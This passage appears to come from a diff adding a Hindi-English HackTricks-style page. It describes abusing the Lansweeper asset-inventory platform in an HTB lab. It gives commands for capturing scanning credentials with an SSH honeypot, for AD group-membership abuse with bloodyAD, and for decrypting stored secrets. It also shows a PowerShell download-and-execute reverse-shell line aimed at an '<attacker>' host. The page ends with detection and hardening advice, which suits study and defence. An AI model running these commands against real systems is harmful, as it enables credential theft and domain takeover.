इसके अलावा, कोड निष्पादित करने या persistence बनाए रखने के अतिरिक्त तरीके भी हैं, जैसे logon/logoff scripts का उपयोग, autoruns के लिए registry keys में बदलाव, .msi फ़ाइलों के माध्यम से सॉफ़्टवेयर इंस्टॉल करना, या service configurations को संपादित करना। ये तकनीकें GPOs के दुरुपयोग के माध्यम से पहुंच बनाए रखने और लक्षित प्रणालियों को नियंत्रित करने के विभिन्न रास्ते प्रदान करती हैं।
## संदर्भ

View File

@ -0,0 +1,153 @@
# Lansweeper दुरुपयोग: Credential Harvesting, Secrets Decryption, और Deployment RCE
{{#include ../../banners/hacktricks-training.md}}
Lansweeper एक IT एसेट discovery और inventory प्लेटफ़ॉर्म है, जो आमतौर पर Windows पर तैनात होता है और Active Directory के साथ integrated होता है। Lansweeper में कॉन्फ़िगर किए गए credentials का उपयोग इसकी scanning engines द्वारा SSH, SMB/WMI और WinRM जैसे प्रोटोकॉल पर assets को authenticate करने के लिए किया जाता है। मिसकॉनफिगरेशन्स अक्सर निम्न की अनुमति देते हैं:
- Scanning target को हमलावर-नियंत्रित होस्ट (honeypot) पर redirect करके credentials intercept करना
- Lansweeper-related groups द्वारा expose किए गए AD ACLs का दुरुपयोग कर remote access प्राप्त करना
- Lansweeper में configured secrets (connection strings और stored scanning credentials) का ऑन‑होस्ट decryption
- Deployment feature के माध्यम से managed endpoints पर code execution (अक्सर SYSTEM के रूप में चलकर)
यह पृष्ठ engagements के दौरान इन व्यवहारों का दुरुपयोग करने के लिए उपयोगी practical attacker workflows और commands का सारांश प्रस्तुत करता है।
## 1) Scanning credentials को honeypot के जरिए harvest करना (SSH उदाहरण)
विचार: एक Scanning Target बनाएं जो आपके host की ओर इशारा करे और मौजूदा Scanning Credentials को उससे map करें। जब scan चलेगा, Lansweeper उन credentials से authenticate करने की कोशिश करेगा और आपका honeypot उन्हें capture कर लेगा।
Steps overview (web UI):
- Scanning → Scanning Targets → Add Scanning Target
- Type: IP Range (or Single IP) = your VPN IP
- Configure SSH port to something reachable (e.g., 2022 if 22 is blocked)
- Disable schedule and plan to trigger manually
- Scanning → Scanning Credentials → ensure Linux/SSH creds exist; map them to the new target (enable all as needed)
- Click “Scan now” on the target
- Run an SSH honeypot and retrieve the attempted username/password
Example with sshesame:
```yaml
# sshesame.conf
server:
listen_address: 10.10.14.79:2022
```
```bash
# Install and run
sudo apt install -y sshesame
sshesame --config sshesame.conf
# Expect client banner similar to RebexSSH and cleartext creds
# authentication for user "svc_inventory_lnx" with password "<password>" accepted
# connection with client version "SSH-2.0-RebexSSH_5.0.x" established
```
DC सेवाओं के खिलाफ कैप्चर किए गए creds को सत्यापित करें:
```bash
# SMB/LDAP/WinRM checks (NetExec)
netexec smb inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
```
Notes
- जब आप scanner को अपने listener (SMB/WinRM honeypots, आदि) की ओर coerc कर सकें तो यह अन्य protocols के साथ भी समान रूप से काम करता है। SSH अक्सर सबसे सरल होता है।
- कई scanners अपने आप को अलग client banners (e.g., RebexSSH) से पहचानते हैं और अक्सर सामान्य commands (uname, whoami, आदि) आजमाने की कोशिश करते हैं।
## 2) AD ACL abuse: किसी app-admin group में अपने आप को जोड़कर gain remote access
प्रभावित खाते से effective rights को enumerate करने के लिए BloodHound का उपयोग करें। एक आम खोज यह है कि एक scanner- या app-specific group (e.g., “Lansweeper Discovery”) के पास किसी privileged group (e.g., “Lansweeper Admins”) पर GenericAll अधिकार होता है। यदि privileged group “Remote Management Users” का सदस्य भी है, तो हम खुद को जोड़ने के बाद WinRM उपलब्ध हो जाता है।
Collection examples:
```bash
# NetExec collection with LDAP
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhound -c All --dns-server <DC_IP>
# RustHound-CE collection (zip for BH CE import)
rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '<password>' -c All --zip
```
BloodyAD (Linux) के साथ समूह पर Exploit GenericAll:
```bash
# Add our user into the target group
bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '<password>' \
add groupMember "Lansweeper Admins" svc_inventory_lnx
# Confirm WinRM access if the group grants it
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
```
फिर एक interactive shell प्राप्त करें:
```bash
evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
```
टिप: Kerberos ऑपरेशंस समय-संवेदी होते हैं। यदि आपको KRB_AP_ERR_SKEW मिलता है, तो पहले DC के साथ समय समन्वय करें:
```bash
sudo ntpdate <dc-fqdn-or-ip> # or rdate -n <dc-ip>
```
## 3) Decrypt Lansweeper-configured secrets on the host
Lansweeper सर्वर पर, ASP.NET साइट आमतौर पर एक encrypted connection string और उस एप्लिकेशन द्वारा उपयोग की गई symmetric key संग्रहीत करती है। उपयुक्त लोकल एक्सेस होने पर, आप DB connection string को डिक्रिप्ट कर सकते हैं और फिर स्टोर्ड scanning credentials को निकाल सकते हैं।
Typical locations:
- Web config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
- `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">``<EncryptedData>…`
- Application key: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`
stored creds के डिक्रिप्शन और dumping को ऑटोमेट करने के लिए SharpLansweeperDecrypt का उपयोग करें:
```powershell
# From a WinRM session or interactive shell on the Lansweeper host
# PowerShell variant
Upload-File .\LansweeperDecrypt.ps1 C:\ProgramData\LansweeperDecrypt.ps1 # depending on your shell
powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
# Tool will:
# - Decrypt connectionStrings from web.config
# - Connect to Lansweeper DB
# - Decrypt stored scanning credentials and print them in cleartext
```
अपेक्षित आउटपुट में DB connection details और plaintext scanning credentials शामिल होते हैं, जैसे कि पूरे estate में उपयोग किए जाने वाले Windows और Linux खाते। ये अक्सर domain hosts पर उच्च स्थानीय अधिकार रखते हैं:
```text
Inventory Windows SWEEP\svc_inventory_win <StrongPassword!>
Inventory Linux svc_inventory_lnx <StrongPassword!>
```
पुनर्प्राप्त Windows scanning creds का उपयोग privileged access के लिए करें:
```bash
netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
# Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
```
## 4) Lansweeper Deployment → SYSTEM RCE
“As a member of “Lansweeper Admins”, the web UI exposes Deployment and Configuration. Under Deployment → Deployment packages, you can create packages that run arbitrary commands on targeted assets. Execution is performed by the Lansweeper service with high privilege, yielding code execution as NT AUTHORITY\SYSTEM on the selected host.
High-level steps:
- Create a new Deployment package that runs a PowerShell or cmd one-liner (reverse shell, add-user, etc.).
- Target the desired asset (e.g., the DC/host where Lansweeper runs) and click Deploy/Run now.
- Catch your shell as SYSTEM.
Example payloads (PowerShell):
```powershell
# Simple test
powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
# Reverse shell example (adapt to your listener)
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
```
OPSEC
- Deployment actions are noisy and leave logs in Lansweeper and Windows event logs. सोच-समझ कर उपयोग करें।
## डिटेक्शन और हार्डेनिंग
- Restrict or remove anonymous SMB enumerations. RID cycling और Lansweeper shares तक असामान्य पहुँच की निगरानी करें।
- Egress controls: scanner hosts से outbound SSH/SMB/WinRM को ब्लॉक या कड़ी सीमाएँ लागू करें। गैर-मानक पोर्ट्स (e.g., 2022) और Rebex जैसे असामान्य क्लाइंट बैनरों पर अलर्ट करें।
- Protect `Website\\web.config` and `Key\\Encryption.txt`. रहस्यों को vault में बाहर रखें और उजागर होने पर रोटेट करें। जहाँ संभव हो, न्यूनतम विशेषाधिकार वाले service accounts और gMSA पर विचार करें।
- AD monitoring: Lansweeper-related groups (e.g., “Lansweeper Admins”, “Remote Management Users”) में बदलाव पर और privileged groups को GenericAll/Write सदस्यता देने वाले ACL परिवर्तनों पर अलर्ट करें।
- Deployment पैकेजों की creations/changes/executions का ऑडिट करें; उन पैकेजों पर अलर्ट करें जो cmd.exe/powershell.exe को spawn करते हैं या अप्रत्याशित आउटबाउंड कनेक्शन्स बनाते हैं।
## संबंधित विषय
- SMB/LSA/SAMR enumeration and RID cycling
- Kerberos password spraying and clock skew considerations
- BloodHound path analysis of application-admin groups
- WinRM usage and lateral movement
## संदर्भ
- [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html)
- [sshesame (SSH honeypot)](https://github.com/jaksi/sshesame)
- [SharpLansweeperDecrypt](https://github.com/Yeeb1/SharpLansweeperDecrypt)
- [BloodyAD](https://github.com/CravateRouge/bloodyAD)
- [BloodHound CE](https://github.com/SpecterOps/BloodHound)
{{#include ../../banners/hacktricks-training.md}}